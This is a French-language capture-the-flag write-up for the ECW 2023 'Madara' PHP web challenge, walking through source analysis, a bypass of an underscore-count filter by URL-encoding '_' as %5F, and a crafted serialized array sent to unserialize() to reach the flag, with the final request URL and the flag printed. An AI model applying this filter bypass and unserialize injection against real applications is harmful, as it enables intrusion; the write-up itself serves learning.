[ECW] - Madara
Sommaire
ECW 2023 - Cet article fait partie d'une série.
Enoncé #
Analyse du code source #
Lorsqu’on se rend sur l’instance voici ce qu’on obtient :
Après une rapide lecture du code on voit qu’il va falloir envoyer une requête au serveur.
Pour avoir le flag il faut que la valeur de la variable unserialize(@$__)['o']['k']
soit Ă©gale Ă 'imBored'
et que la valeur de la variable @__
soit Ă©gale Ă 'Madara'
Test 1ère condition #
J’envoie donc la requête suivante au serveur pour vérifier que j’ai bien compris le code :
http://instances.challenge-ecw.fr:36111/?__=Madara
Ok super, j’entre bien dans la condition if(@$__==='Madara')
Test 2ème condition #
Mais pour la deuxième variable ça se complique car si on envoie plus de 4 caractères _ (underscore)
ou un seul . (point)
le serveur nous enverra le message “You have used to much _” :
Ceci correspond au code :
$query=$_SERVER["QUERY_STRING"];
parse_str($query);
if ((substr_count($query,'_')>=4)||(substr_count($query,'.')>0)){
die('You have used too much _');
}
On ne peut donc pas envoyer une requĂŞte du type :
http://instances.challenge-ecw.fr:36111/?__=Madara&___=valeur
Comme on passe ces paramètres dans une url il est sûrement possible de les encoder, je vais alors chercher comment encoder le caractère spécial _ (underscore)
et je trouve :
Je pourrais donc remplacer tous les caractères _ (underscore)
par %5F
Construction de la requĂŞte finale #
Il ne me reste plus qu’à créer une variable sérialisée égale à imBored
dans le tableau ['o']['k']
, il suffit d’utiliser la fonction serialize()
de php. Je vais également vérifier qu’on peut retrouver cette variable avec la fonction unserialize()
qui sera utilisée par le serveur :
<?php
$array["o"]["k"] = "imBored";
$test = serialize($array);
print($test);
print("\n");
print(unserialize($test)['o']['k']);
?>
Output:
a:1:{s:1:"o";a:1:{s:1:"k";s:7:"imBored";}}
imBored
Parfait il ne reste plus qu’à encoder la requête :
http://instances.challenge-ecw.fr:36111/?__=Madara&___=a:1:{s:1:"o";a:1:{s:1:"k";s:7:"imBored";}}
Ce qui nous donne :
http://instances.challenge-ecw.fr:36111/?%5F%5F=Madara&%5F%5F%5F=a:1:{s:1:%22o%22;a:1:{s:1:%22k%22;s:7:%22imBored%22;}}
Flag #
(L’url affichée sur la capture écran n’est pas encodée car elle est décodée automatiquement par mon navigateur mais le serveur a bien reçu la requête encodée)
đźš© Flag : ECW{C3u7pdBCAfsmbp8eq5T2}